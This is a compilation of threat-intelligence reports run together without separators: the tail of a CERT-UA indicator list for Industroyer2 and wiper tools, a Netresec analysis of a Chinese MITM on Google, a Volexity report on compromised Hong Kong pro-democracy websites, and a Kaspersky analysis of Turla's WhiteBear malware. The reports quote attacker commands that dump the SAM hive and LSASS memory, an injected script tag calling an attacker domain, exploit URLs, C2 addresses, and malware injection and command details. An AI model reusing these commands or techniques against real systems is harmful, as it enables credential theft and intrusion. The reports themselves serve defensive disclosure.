https://cert.gov.ua/article/39518 2/3  : fbe32784c073e341fc57d175a913905c 43d07f28b7b699f43abd4f695596c15a90d772bfbd6029c8ee7bc5859c2b0861 sc.sh (OrcShred) 73561d9a331c1d8a334ec48dfd94db99 bcdf0bd8142a4828c61e775686c9892d89893ed0f5093bdc70bde3e48d04ab99 wobf.sh (AwfulShred) 97ad7f3ed815c0528b070941be903d07 87ca2b130a8ec91d0c9c0366b419a0fce3cb6a935523d900918e634564b88028 wsol.sh (SoloShred) 9ec8468dd4a81b0b35c499b31e67375e cda9310715b7a12f47b7c134260d5ff9200c147fc1d05f030e507e57e3582327 zrada.exe, peremoga.exe, vatt.exe (ArguePatch) 1938380a81a23b8b1100de8403b583a7 1724a0a3c9c73f4d8891f988b5035effce8d897ed42336a92e2c9bc7d9ee7f5a pa.pay (TailJump) b63b9929b8f214c4e8dcff7956c87277 fc0e6f2effbfa287217b8930ab55b7a77bb86dbd923c0e8150551627138c9caa caddywiper.bin (CaddyWiper) 3229e8c4150b5e43f836643ec9428865 7062403bccacc7c0b84d27987b204777f6078319c3f4caa361581825c1a94e87 108_100.exe (2022- 03-23) (Industroyer2) : C:\Users\peremoga.exe JRIBDFIMCQAKVBBP C:\Users\pa1.pay reg save HKLM\SYSTEM C:\Users\Public\sys.reg /y reg save HKLM\SECURITY C:\Users\Public\sec.reg /y reg save HKLM\SAM C:\Users\Public\sam.reg /y \\DOMAIN\sysvol\DOMAIN\Policies\GPO ID\Machine\zrada.exe \\DOMAIN\sysvol\DOMAIN\Policies\GPO ID\Machine\pa.pay C: \ Windows \ System32 \ rundll32.exe C: \ windows \ System32 \ comsvcs.dll MiniDump PID C: \ Users \ Public \ mem.dmp full C: \ Windows \ Temp \ link.ps1 C: \ Users \ peremoga.exe C: \ Users \ pa1.pay C: \ Dell \ vatt.exe C: \ Dell \ pa.pay C: \ Dell \ 108_100.exe C: \ tmp \ cdel.exe Network: 91.245.255 [.]
243 195.230.23 [.]
19 3/3 Graphic images
Analysis of Chinese MITM on Google Thursday, 04 September 2014 23:55:00 (UTC/GMT) The Chinese are running a MITM attack on SSL encrypted traffic between Chinese universities and Google.
Weve performed technical analysis of the attack, on request from GreatFire.org, and can confirm that it is a real SSL MITM against www.google.com and that it is being performed from within China.
We were contacted by GreatFire.org yesterday (September 3) with a request to analyze two packet captures from suspected MITM-attacks before they finalized their blog post.
The conclusions from our analysis is now published as part of GreatFire.orgs great blog post titled Authorities launch man-in-the- middle attack on Google.
In their blog post GreatFire.org write: From August 28, 2014 reports appeared on Weibo and Google Plus that users in China trying to access google.com and google.com.hk via CERNET, the countrys education network, were receiving warning messages about invalid SSL certificates.
The evidence, which we include later in this post, indicates that this was caused by a man-in-the-middle attack.
While the authorities have been blocking access to most things Google since June 4th, they have kept their hands off of CERNET, Chinas nationwide education and research network.
However, in the lead up to the new school year, the Chinese authorities launched a man-in-the-middle (MITM) attack against Google.
Our network forensic analysis was performed by investigating the following to packet capture files: Capture Location Client Netname Capture Date Filename MD5 Peking University PKU6-CERNET2 Aug 30, 2014 google.com.pcap aba4b35cb85ed218 7a8a7656cd670a93 Chongqing University CQU6-CERNET2 Sep 1, 2014 google_fake.pcapng 3bf943ea453f9afa 5c06b9c126d79557 Client and Server IP adresses The analyzed capture files contain pure IPv6 traffic (CERNET is a IPv6 network) which made the analysis a bit different then usual.
We do not disclose the client IP addresses for privacy reasons, but they both seem legit one from Peking University (netname PKU6-CERNET2) and the other from Chongqing https://en.greatfire.org/blog/2014/sep/authorities-launch-man-middle-attack-google University (CQU6-CERNET2).
Both IP addresses belong to AS23910, named China Next Generation Internet CERNET2.
Peking University entrance, by galaygobi (Creative Commons Attribution 2.0) Chongqing University gate, by Brooktse (Creative Commons Attribution-Share Alike 3.0) The IP addresses received for www.google.com were in both cases also legit, so the MITM wasnt carried out through DNS spoofing.
The Peking University client connected to 2607:f8b0:4007:804::1013 http://bgp.he.net/AS23910 http://commons.wikimedia.org/wiki/File:PekingUniversityPic6.jpgmediaviewer/File:PekingUniversityPic6.jpg http://commons.wikimedia.org/wiki/File:CQUAQUGATE3.jpgmediaviewer/File:CQUAQUGATE3.jpg (GOOGLE-IPV6 in United States) and the connection from Chongqing University went to 2404:6800:4005:805::1010 (GOOGLE_IPV6_AP-20080930 in Australia).
Time-To-Live (TTL) Analysis The Time-To-Live (TTL) values received in the IP packets from www.google.com were in both cases 248 or 249 (note: TTL is actually called Hop Limit in IPv6 nomenclature, but we prefer to use the well established term TTL anyway).
The highest possible TTL value is 255, this means that the received packets havent made more than 6 or 7 router hops before ending up at the client.
However, the expected number of router hops between a server on GOOGLE-IPV6 and the client at Peking University is around 14.
The low number of router hops is is a clear indication of an IP MITM taking place.
CapLoader with both capture files loaded, showing TTL values Here is an IPv6 traceroute from AS25795 in Los Angeles towards the IP address at Peking University (generated with ARP Networks 4or6.com tool): traceroute -6 2001:da8:[REDACTED] 1  2607:f2f8:1600::1 (2607:f2f8:1600::1) 1.636 ms 1.573 ms 1.557 ms 2  2001:504:13::1a (2001:504:13::1a) 40.381 ms 40.481 ms 40.565 ms 3 4  2001:252:0:302::1 (2001:252:0:302::1) 148.409 ms 148.501 ms 148.595 ms http://whois.arin.net/rest/net/NET6-2607-F8B0-1/pft http://wq.apnic.net/apnic-bin/whois.pl?searchtext2404:6800::/32object_typeinet6num http://caploader.com/ http://4or6.com/traceroute?len 5 6  2001:252:0:1::1 (2001:252:0:1::1) 148.273 ms 147.620 ms 147.596 ms 7  pku-bj-v6.cernet2.net (2001:da8:1:1b::2) 147.574 ms 147.619 ms 147.420 ms 8  2001:da8:1:50d::2 (2001:da8:1:50d::2) 148.582 ms 148.670 ms 148.979 ms 9  cernet2.net (2001:da8:ac:ffff::2) 147.963 ms 147.956 ms 147.988 ms 10  2001:da8:[REDACTED] 147.964 ms 148.035 ms 147.895 ms 11  2001:da8:[REDACTED] 147.832 ms 147.881 ms 147.836 ms 12  2001:da8:[REDACTED] 147.809 ms 147.707 ms 147.899 ms As can be seen in the traceroute above, seven hops before the client we find the 2001:252::/32 network, which is called CNGI International Gateway Network (CNGIIGN).
This network is actually part of CERNET, but on AS23911, which is the network that connects CERNET with its external peers.
A reasonable assumption is therefore that the MITM is carried out on the 2001:252::/32 network, or where AS23910 (2001:da8:1::2) connects to AS23911 (2001:252:0:1::1).
This means that the MITM attack is being conducted from within China.
Response Time Analysis The round-trip time between the client and server can be estimated by measuring the time from when the client sends it initial TCP SYN packet to when it receives a TCP SYNACK from the server.
The expected round-trip time for connecting from CERNET to a Google server overseas would be around 150ms or more.
However, in the captures weve analyzed the TCP SYNACK package was received in just 8ms (Peking) and 52ms (Chongqing) respectively.
Again, this is a clear indication of an IP MITM taking place, since Google cannot possibly send a response from the US to CERNET within 8ms regardless of how fast they are.
The fast response times also indicate that the machine performing the MITM is located fairly close to the network at Peking University.
Even though the machine performing the MITM was very quick at performing the TCP tree-way handshake we noticed that the application layer communication was terribly slow.
The specification for the TLS handshake (RFC 2246) defines that a ClientHello message should be responded to with a ServerHello.
Google typically send their ServerHello response almost instantly, i.e.
the response is received after one round-trip time (150ms in this case).
However, in the analyzed captures we noticed ServerHello response times of around 500ms.
X.509 Certificate analysis We extracted the X.509 certificates from the two capture files to .cer files using NetworkMiner.
We noticed that both users received identical certificates, which were both self signed for google.com.
The http://wq.apnic.net/apnic-bin/whois.pl?searchtext2001:252::/32object_typeinet6num http://bgp.he.net/AS23911 https://www.ietf.org/rfc/rfc2246.txt http://networkminer.com/ fact that the MITM used a self signed certificate makes the attack easily detectable even for the non- technical user, since the web browser will typically display a warning about the site not being trusted.
Additionally the X.509 certificate was created for google.com rather than .google.com.
This is an obvious miss from the MITMers side since they were attempting to MITM traffic to www.google.com but not to google.com.
NetworkMiner showing list of X.509 certificates extracted from the two PCAP files Certificate SHA1 fingerprint: f6beadb9bc02e0a152d71c318739cdecfc1c085d Certificate MD5 fingerprint: 66:D5:D5:6A:E9:28:51:7C:03:53:C5:E1:33:14:A8:3B A copy of the fake certificate is available on Google drive thanks to GreatFire.org.
Conclusions All evidence indicates that a MITM attack is being conducted against traffic between Chinas nationwide education and research network CERNET and www.google.com.
It looks as if the MITM is carried out on a network belonging to AS23911, which is the outer part of CERNET that peers with all external networks.
This network is located in China, so we can conclude that the MITM was being done within the country.
Its difficult to say exactly how the MITM attack was carried out, but we can dismiss DNS spoofing as the used method.
The evidence weve observed instead indicate that the MITM attack is performed either by performing IP hijacking or by simply reconfiguring a router to forward the HTTPS traffic to a transparent SSL proxy.
An alternative to changing the router config would also be to add an in-line device that redirects the desired traffic to the SSL proxy.
However, regardless of how they did it the attacker would be https://docs.google.com/file/d/0ByksGrIc0SXfT0p3NFpKWFlrMkE/edit http://en.wikipedia.org/wiki/IP_hijacking able to decrypt and inspect the traffic going to Google.
We can also conclude that the method used to perform the MITM attack was similar to the Chinese MITM on GitHub, but not identical.
Share           Short URL: http://netresec.com/?b14955CB Posted by Erik Hjelmvik on Thursday, 04 September 2014 23:55:00 (UTC/GMT) http://netresec.com/?b1328C6B http://www.addthis.com/bookmark.php?sourcetbx32nj-1.0250pubidxa-4d7526e93a9537a7urlhttp3a2f2fwww.netresec.com2f3fpage3dBlog26month3d2014-0926post3dAnalysis-of-Chinese-MITM-on-GoogletitleAnalysis20of20Chinese20MITM20on20Google http://www.facebook.com/sharer.php?uhttp3a2f2fwww.netresec.com2f3fpage3dBlog26month3d2014-0926post3dAnalysis-of-Chinese-MITM-on-Google http://twitter.com/?statusAnalysis20of20Chinese20MITM20on20Google3a20http3a2f2fnetresec.com3fb14955CB20via2040netresec http://www.reddit.com/r/netsec/submit?urlhttp3a2f2fwww.netresec.com2f3fpage3dBlog26month3d2014-0926post3dAnalysis-of-Chinese-MITM-on-Google http://netresec.com/?b14955CB
Democracy in Hong Kong Under Attack Posted on October 9, 2014 by Steven Adair Over the last few months, Volexity has been tracking a particularly remarkable advanced persistent threat (APT) operation involving strategic web compromises of websites in Hong Kong and Japan.
In both countries, the compromised websites have been particularly notable for their relevance to current events and the high profile nature of the organizations involved.
In particular the Hong Kong compromises appear to come on the heels of the Occupy Central Campaign shifting into high gear.
These compromises were discovered following the identification of malicious JavaScript that had been added to legitimate code on the impacted websites.
This code meant that visitors were potentially subjected to exploit and malicious Java Applets designed to install malware on their systems.
While investigating these cases, Volexity also discovered additional APT attack campaigns involving multiple other pro-democratic websites in Hong Kong.
These attempts at exploitation, compromise, and digital surveillance are detailed throughout this post.
Compromised Pro-Democratic Hong Kong Websites Warning: Many of these websites may still be compromised and present a risk to visitors.
Browse with caution.
Alliance for True Democracy  Hong Kong Over the last two days, Volexity has observed malicious code being served up from the website of the Alliance for True Democracy (ATD) in Hong Kong (www.atd.hk).
ATD is an alliance of people and organizations dedicated to democracy and universal suffrage in Hong Kong.
At the time of this writing malicious code is still live on the website, so please visit with care until the website is clean.
Below is a screen shot of the malicious code references found pre-pended to a JavaScript file on the website named superfish.js.
This JavaScript file is called from other parts of the website and effectively nests the loading of additional JavaScript written and interpeted as: script languagejavascript srchttp://java-se.com/o.js/script The domain name java-se.com is known bad and associated with APT activity.
At the time of this post, the domain is hosted on the Japanese IP address 210.253.101.105.
7506  210.253.96.0/20  INTERQ  JP  GMO.JP  GMO INTERNET INC.
Volexity has yet to actually see the contents of the file o.js, as the websites has continuously returned HTTP 403 responses each time it was requested.
The file was requested from IP addresses throughout Asia without ever returning valid content.
Its unclear if this code is activated at certain times or if there is a whitelist of IPs restricting access to the file to specific targets.
This same code has also been observed being served from another Hong Kong website described in the next section.
Webshell Backdoor While examining the ATD website, Volexity also observed that the site had a password protected backdoor webshell placed on it.
This is a fairly popular webshell that Volexity has encountered on several occasions when dealing with website compromises.
Volexity refers to this shell as the Angel Webshell, named after its default password of angel.
The shell will simply display the text Password:, a text input box, and a Login button.
A screen shot of the webshell as observed on the ATD website can http://www.volexity.com/blog/?p33 http://www.volexity.com/blog/?author1 https://en.wikipedia.org/wiki/Occupy_Central_with_Love_and_Peace http://www.volexity.com/blog/wp-content/uploads/2014/10/atd-superfish.js-small1.png be seen below.
Despite the shell being written in PHP and only displaying a simple Login prompt, it is easy to identify the Angel webshell based on unique components of its viewable HTML source code.
The HTML source of this page is displayed in the following image.
While Volexity operates under the assumption attackers have placed webshells on webservers they have compromised, in this particular instance it can be seen with certainty.
Attackers will often upload new webshells or add simple China Chopper style modifications to legitimate existing files in an attempt to maintain persistence to these systems.
Democratic Party Hong Kong In the last week, Volexity also observed both the English and Chinese language websites for the Democratic Party Hong Kong compromised with the same malicious code found ont he ATD website (www.dphk.org  eng.dphk.org).
DPHK is a pro-democracy political party in Hong Kong.
Like the ATD website, at the time of this writing the DPHK websites are also serving up malicious code, so please browse with caution.
During our research for this post, we also became aware of multiple public reports related to the compromise of the DPHK website on both Twitter and via ThreatConnect.
Our good friend Claudio Giurianeri posted the following tweet on October 3, 2014 The website of the Democratic Party of Hong Kong has been compromised and still is.
Let them know.
OccupyCentral Diving further into some of the replies to this tweet is a plethora of information regarding the exploit domain java-se.com.
In particular, a tweet from Brandon Dixon with relevant data from the PassiveTotal project details several subdomains and IP addresses associated with java-se.com.
While Volexity has only observed a handful of the hostnames in the wild thus far, other active subdomains suggest there could be additional on-going exploit or malware activity from the domain.
Additional reporting on this activity and another going back to August 2014 was also recently shared on ThreatConnect.
Despite all of this attention, the DPHK website is still compromised and references the JavaScript from the hostile domain.
It is also worth noting that this is not the first time that the DPHK website has been used in a strategic web compromise.
Back in May 2011, Kaspersky Lab reported the website was being leveraged to target users with Flash Exploits.
The DPHK appears to be of high value with respect to targeting visitors.
People Power  Hong Kong During the course of investigating activity related to the ATD and DPHK websites, Volexity also observed that the website of the political coalition and pan-democratic organization People Power in Hong Kong (www.peoplepower.hk) had been compromised as well.
However, unlike the other two websites, the People Power website did not contain JavaScript modifications pointing to java- se.com.
Instead the website appears to have malicious iFrames leveraging the Chinese URL shortener 985.so.
At the bottom of several of the pages for the People Power website are four iFrames as seen in this screen shot of the website source: Those links, with the exception of the first one, all redirect to exploit pages on the Hong Kong IP address 58.64.178.77.
URL Meta Refresh Page http://www.volexity.com/blog/wp-content/uploads/2014/10/atd-angel-shell.png http://www.volexity.com/blog/wp-content/uploads/2014/10/atd-angel-shell-src.png https://twitter.com/botherder/status/517994402158227456 https://twitter.com/hashtag/OccupyCentral?srchash https://twitter.com/9bplus https://gist.github.com/9b/bef2907272cc770311c6 http://passivetotal.org/ http://threatconnect.com/ https://securelist.com/blog/incidents/30644/democratic-party-of-hong-kong-website-compromised-and-serving-spyware/ http://www.volexity.com/blog/wp-content/uploads/2014/10/people-power-iframe1.png hXXp://985.so/bUYj N/A (HTTP 404) hXXp://985.so/bUYe hXXp://58.64.178.77:80/SiteLoader hXXp://985.so/b6hW hXXp://58.64.178.77/mPlayer hXXp://985.so/bUYf hXXp://58.64.178.77:80/0wnersh1p These pages load scripts that conduct profiling of the system for various software, plugins, and other related information, as well as load Java exploits designed to install malware on the target system.
If successful, the exploits will install either a 32-bit or 64-bit version of the malware.
Both files are found within the Java Archives files.
Below are details on each of the malware files.
Filename: main.dll File size: 13824 bytes MD5 hash: 1befa2c2d1bfc8e87d52871c868f75fe SHA1 hash: 8f81bb0bfa6b3ebf3ef4ea283b23a5ccae5b6817 Notes: 32-bit version of malware, which beacons to 58.64.178.77:443.
Filename: main64.dll File size: 15872 bytes MD5 hash: a482a84d13c76b950ce5bc7e75f4edef SHA1 hash: c0a4b9145e0066f5c1534beddc9c666ea8eb0882 Notes: 64-bit version of malware, which beacons to 58.64.178.77:443.
At the time of this writing, the People Power website is still serving up malicious code.
Volexity recommends avoiding this website and/or browsing with caution.
Volexity believes a separate group of attackers is responsible for this exploit activity and that they are not affiliated with the java-se.com operations.
The Professional Commons  Hong Kong While digging deeper into pro-democratic websites in Hong Kong, Volexity also discovered peculiar code on the website of a pro- democratic and pro-universal suffrage public policy think thank The Professional Commons (www.procommons.org.hk).
In the case of this website, there is suspicious JavaScript code that writes an iFrame pointing back to a non-existent HTML page on a hotel website in South Korea.
The code from the website can be seen in the screen shot below.
The URL in question points to: hXXp://www.hotel365.co.kr/Lnk/tw/index.html This link does not work and will redirect a visitor back to the main page of the website.
There does not appear to be any reason for the Professional Commmons website to have a hidden iFrame link randomly placed in the middle of its HTML code.
It is suspected that this was a formerly active exploit URL.
If it is actually malicious, it is possible the code could be re-activated at any time.
Volexity recommend the URL and the Professional Commons website be browsed with caution.
High Profile Compromised Japanese Website The Japanese Nikkei In early September, the APT group behind java-se.com raised its visibility on Volexitys radar following a compromise that effectively impacted many components of the Japanese Nikkei.
In the first week of September, a subdomain used to load JavaScript code and additional files onto other Nikkei web properties such as www.nikkei.com and asia.nikkei.com was compromised.
In particular a JavaScript file loaded from parts.nikkei.com was modified to reference another JavaScript file from jre76.java-se.com hosted on the Japanese IP address 211.125.81.203.
7506  211.125.80.0/22  INTERQ  JP  GMO.JP  GMO INTERNET INC.
http://www.volexity.com/blog/wp-content/uploads/2014/10/procommons-hotel-iframe.png The code has since been taken down.
However, in early September the JavaScript was pre-pended to the file http://parts.nikkei.com/parts/SC/s_cDS.js as seen in the screen shot below.
Like the JavaScript from the ATD and DPHK websites, Volexity was never actually able to obtain a live copy of this script.
Each request results in an HTTP 403 response from the server.
Volexity suspects the code was either active at select times and/or was only served to a subset of visitors.
The code has not been observed on the s_cDS.js file for nearly a month now.
Live Exploits, Stolen Certificates, and Signed Malware While tracking this APT activity, Volexity has also come across other seemingly unrelated compromises of websites in Hong Kong and Japan associated with the java-se.com activity.
Despite several sites being compromised, the above activity tied to java-se.com did not result in the successful capture of actual exploit code or malware.
However, research into other websites and activity involving java-se.com did lead Volexity to live exploits and malware.
In particular Volexity came across live exploit code hosted at jdk-7u12-windows-i586.java-se.com on the Japanese IP address 210.253.96.200.
7506  210.253.96.0/20  INTERQ  JP  GMO.JP  GMO INTERNET INC.
This system hosted a JavaScript file, which in turned loads a malicious Java Applet.
In testing the the Java Applet pops up a notification to the user asking them if they want to run the applet.
Volexity has not had enough time to thoroughly analyze the file to see if it is an actual exploit or if the attackers rely on user assisted malware installation.
The pop-up does make it appear as if the file is an update to Java.
The popup displayed by Java is displayed below.
As can be seen in the image above, this popup could be misconstrued by a user as an update to Java despite the java-se.com domain and the Publisher being listed as WindySoft.
Interestingly the Java Archive being loaded is digitally signed by a certificate issued to WindySoft, an online gaming company from South Korea.
We cannot confirm this certificate actually belonged to WindySoft at any point in time, however, there is fairly established precedent of certificates from online gaming companies being used to digitally sign malware and attack tools.
http://www.volexity.com/blog/wp-content/uploads/2014/10/parts-nikkei-src.png http://www.volexity.com/blog/wp-content/uploads/2014/10/jre-update-WindySoft.png PlugX Strikes Again  Digitally Signed  Using 163.com Blogs As one might expect, choosing to press the Run button would be bad news for someone presented with this prompt.
If one were to click Run from this prompt, it would result in the file css.jpg being download over an encrypted channel from a folder on https://elsa-jp.jp.
Note that elsa-jp.jp is a website hosted on the same IP address jdk-7u12-windows-i586.java-se.com and is likely compromised.
The file css.jpg is of course not a JPEG file, it is an executable that has been encoded with the single-byte XOR key 0xFF.
Filename: css.jpg File size: 168776 bytes MD5 hash: b3a9e6548fb3cc511096af4d68b2e745 SHA1 hash: 394703d1240ccd3aaeeef50c212313e3036741b1 Notes: Executable file downloaded by Java Applet that has been encoded with XOR 099 Taking a closer look at the resulting executable we have, it turns out it is a newer sample of PlugX.
In this particular sample an interesting and notable string was observed: C:\wocawocawoca\piao\Release\caca.pdb Also of interest is that as observed from the Java Applet, the executable is also digitally signed by a certificate issued to WindySoft.
Upon execution the malware sample immediately does a DNS resolution for the following hostname: jduhf873jdu7.blog.163.com The PlugX sample connects to the blog and parses the page for a command for where to connect to next.
This is very similar to the method described by FireEye in their blog on Operation Poisoned Hurricane.
The primary difference being that the attackers opted to use a 163.com Blog over a Google Code page to embed the command.
Taking a closer look at the Blog page the following post is observed: http://www.volexity.com/blog/wp-content/uploads/2014/10/digitally-signed-plugx1.png http://www.fireeye.com/blog/technical/targeted-attack/2014/08/operation-poisoned-hurricane.html The primary string to focus on is in the title of the post: DZKSCAAAAJPBBDHDDDOCCDFDFDOCCDBDHDOCHDHDDZJS Using the same decoding routine describe by Cassidian in a PlugX post of theirs from earlier this year, we can see this command decodes to instruct the malware to connect to a U.S.-based Linode IP address at Hurricane Electric: 173.255.217.77.
6939  173.255.208.0/20  HURRICANE  US  LINODE.COM  LINODE A look at passive DNS identifies several hostnames that recently resolved to the IP address.
The ones that still resolve to the IP are listed below: dns.apasms.com ns.gpass1.org ns1.gpass1.org These hostnames may be related but at the time of this writing we have not seen them in use in malware and are unable to confirm.
Conclusion As we have seen for several years now, dissenting groups, especially those seeking increased levels of freedom frequently find themselves targeted for surveillance and information extraction.
In the digital age, a strategic web compromise (exploit drive-by) has become a key weapon of choice for to conduct such operations.
These types of attacks are far from overt, as a typical target and victim opted to go on their own to what they believe should be a safe and trusted website.
In the case of this post, it appears that at least two different attackers were involved in compromising and placing malicious code on Pro-Democratic websites in Hong Kong.
This is not the first time and surely will not be the last time that those in favor of democracy in Hong Kong will be targeted.
Unfortunately with the level of access and infrastructure the attackers appear to have, this is quite an uphill battle.
Continuing to expose these attack is one means that shines light on these attack operations with an aim at putting a dent in their success.
http://www.volexity.com/blog/wp-content/uploads/2014/10/plugx-jduh-blog1.png http://blog.cassidiancybersecurity.com/post/2014/01/plugx-some-uncovered-points.html
Introducing WhiteBear securelist.com /introducing-whitebear/81638/ By GReAT As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear.
Much of the contents of that report are reproduced here.
WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report Skipper Turla  the White Atlas framework from mid-2016.
Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure.
As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in KopiLuwak  A New JavaScript Payload from Turla in December 2016.
WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts.
However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus.
We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity.
From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world.
All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations.
Continued WhiteBear activity later shifted to include defense-related organizations into June 2017.
When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set.
Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts.
WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.
1/11 https://securelist.com/introducing-whitebear/81638/ https://securelist.com/introducing-whitebear/81638/whitebearinjection_g/ https://securelist.com/introducing-whitebear/81638/solidloop/ The exact delivery vector for WhiteBear components is unknown to us, although we have very strong suspicion the group spearphished targets with malicious pdf files.
The decoy pdf document above was likely stolen from a target or partner.
And, although WhiteBear components have been consistently identified on a subset of systems previously targeted with the WhiteAtlas framework, and maintain components within the same filepaths and can maintain identical filenames, we were unable to firmly tie delivery to any specific WhiteAtlas component.
WhiteBear focused on various embassies and diplomatic entities around the world in early 2016  tellingly, attempts were made to drop and display decoy pdfs with full diplomatic headers and content alongside executable droppers on target systems.
Technical Details The WhiteBear platform implements an elaborate set of messaging and injection components to support full presence on victim hosts.
A diagram helps to visualize the reach of injected components on the system.
2/11 WhiteBear Binary loader Sample MD5: b099b82acb860d9a9a571515024b35f0 Type PE EXE Compilation timestamp 2002.02.05 17:36:10 (GMT) Linker version 10.0 (MSVC 2010) Signature Solid Loop Ldt UTCTime 15/10/2015 00:00:00 GMT  UTCTime 14/10/2016 23:59:59 GMT The WhiteBear binary loader maintains several features including two injection methods for its (oddly named) KernelInjector subsystem, also named by its developer Standart WindowInject (includes an unusual technique for remotely placing code into memory for subsequent thread execution) The loader also maintains two methods for privilege and DEP process protection handling: GETSID_METHOD_1 GETSID_METHOD_2 The binary contains two resources: BINARY 201 File size: 128 bytes Contains the string, explorer.exe BINARY 202 File size: 403456 bytes File Type: PE file (this is the actual payload and is not encrypted) This PE file resource stores the main orchestrator .dll file 3/11 Loader runtime flow The loader creates the mutex 531511FA-190D-5D85-8A4A-279F2F592CC7, and waits up to two minutes if it is already present while logging the message IsLoaderAlreadyWork .
The loader creates the mutex 531511FA- 190D-5D85-8A4A-279F2F592CC7, and waits up to two minutes.
If it is already present while logging the message IsLoaderAlreadyWork , it extracts the resource BINARY 201.
This resource contains a wide string name of processes to inject into (i.e.
explorer.exe).
The loader makes a pipe named: \\.\pipe\Winsock2\CatalogChangeListener-03x01x-01x Where the x parameter is replaced with the values 0xFFFFFFFF 0xEEEEEEEE 0xDDDDDDDD, or if it has successfully obtained the users SID: \\.\pipe\Winsock2\CatalogChangeListener-02x02x-01x With x parameters replaced with numbers calculated from the current date and a munged user SID.
The pipe is used to communicate with the target process and the transport module the running code also reads its own image body and writes it to the pipe.
The loader then obtains the payload body from resource BINARY 202.
It finds the running process that matches the target name, copies the buffer containing the payload into the process, then starts its copy in the target process.
There are some interesting, juvenile, and non-native English-speaker debug messages compiled into the code: i cunt waiting anymore d lights aint turnt off with d Not find process CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER CMessageProcessingSystem::Receive_TAKE_LAST_CONNECTION CMessageProcessingSystem::Send_TAKE_FIN WhiteBear Main module/orchestrator Sample MD5: 06bd89448a10aa5c2f4ca46b4709a879 Type, size: PE DLL, 394 kb Compilation timestamp: 2002.02.05 17:31:28 (GMT) Linker version: 10.0 (MSVC 2010) Unsigned Code The main module has no exports, only a DllMain entry which spawns one thread and returns.
The main module maintains multiple BINARY resources that include executable, configurations, and encryption data: 101  RSA private () key 102  RSA public key 103  empty 104  16 encrypted bytes 105  location (HOMEPATH\ntuser.dat.
LOG3) 106  process names (e.g.
iexplore.exe, firefox.exe, chrome.exe, outlook.exe, safari.exe, opera.exe) to inject into 107  Transport module for interaction with CC 108  C2 configuration 109  Registry location (\HKCU\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Explorer\Screen Saver) 110  no information 111  8 zero bytes Values 104  111 are encrypted with the RSA private key (resource 101) and compressed with bzip2.4.
The RSA 4/11 key is stored with header stripped in a format similar to Microsofts PVK the RSA PRIVATE KEY header is appended by the loader before reading the keys into the encryption code.
Resource 109 points to a registry location called external storage, built-in resources are called PE Storage.
In addition to storing code, crypto resources, and configuration data in PE resources, WhiteBear copies much of this data to the victim hosts registry.
Registry storage is located in the following keys.
Subkeys and stored values listed below: [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver] [HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver] Registry subkeys: 629336E3-58D6-633B-5182-576588CF702A Contains the RSA private key used to encrypt/decrypt other resources / resource 101 3CDC155D-398A-646E-1021-23047D9B4366 Resource 105  current file location 81A03BF8-60AA-4A56-253C-449121D61CAF Resource 106  process names 31AC34A1-2DE2-36AC-1F6E-86F43772841F Contains the internet CC transport module / resource 107 8E9810C5-3014-4678-27EE-3B7A7AC346AF Resource 108  CC config 28E74BDA-4327-31B0-17B9-56A66A818C1D Resource 110 plugins 4A3130BD-2608-730F-31A7-86D16CE66100 Resource 111 119D263D-68FC-1942-3CA3-46B23FA652A0 Unique Guid (ObjectID) 1DC12691-2B24-2265-435D-735D3B118A70 Task Queue 6CEE6FE1-10A2-4C33-7E7F-855A51733C77 Result Queue 56594FEA-5774-746D-4496-6361266C40D0  unknown 831511FA-190D-5D85-8A4A-279F2F592CC7  unknown Finally, if the main WhiteBear module fails to use registry storage, it uses FS Storage in file TEMP\KB943729.log.
The module reads all of its data and binary components from one of the storages and then verifies the integrity of data (RSAbzip2 compressionsignature).
The module maintains functionality which is divided into a set of subsystems that are loosely named by the developers: result queue task queue message processing system autorun manager execution subsystem inject manager PEStorage local transport manager/internal transport channel It creates the following temporary files: TEMP\CVRG72B5.tmp.cvr TEMP\CVRG1A6B.tmp.cvr TEMP\CVRG38D9.tmp.cvr TEMP\DF1E05.tmp contains the updated body of the loader during an update.
Every day (as specified by local time) the main module restarts the transport subsystem which includes: message processing named pipe transport (NPTransport) If the registry/file storage is empty, the module performs a migration of hardcoded modules and settings to the 5/11 storage location.
This data is encrypted with a new RSA key (which is also stored in the registry).
The data in the registry is prepended with a 0xC byte header.
The maximum size of each registry item is 921,600 bytes if the maximum size is exceeded, it is split into several items.
The format of the header is shown below: [4:service DWORD][4:chunk index][4:chunk size including header] Every time the orchestrator module is loaded it validates that the storage area contains the appropriate data and that all of the components can be decrypted and validated.
If these checks fail the module reinstalls a configuration from the resource REINSTALL.
Pipe Transport The module generates the pipe name (with the same prefix as the loader) waits for incoming connections receives data and pushes it to the message processing system.
The module generates the pipe name (with the same prefix as the loader) waits for incoming connections receives data and pushes it to the message processing system.
Every packet is expected to be at least 6 bytes and contain the following header:      [4:ID][2:command] List of commands: 1 : new task 2 : update the loader  orchestrator file 4 : send task result 5 : send settings 6 : write results to registry/file storage 7 : enable / disable c2 transport / update status 8 : uninstall 9 : nop 10 : CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER write results to registry 11: write the last connection data 56594FEA-5774-746D-4496-6361266C40D0 aka last connection storage value 12: give cache  write cached commands from the CC 13: take cache  append CC commands to the cache Depending on the command, the module returns the results from previously run tasks, the configuration of the module, or a confirmation message.
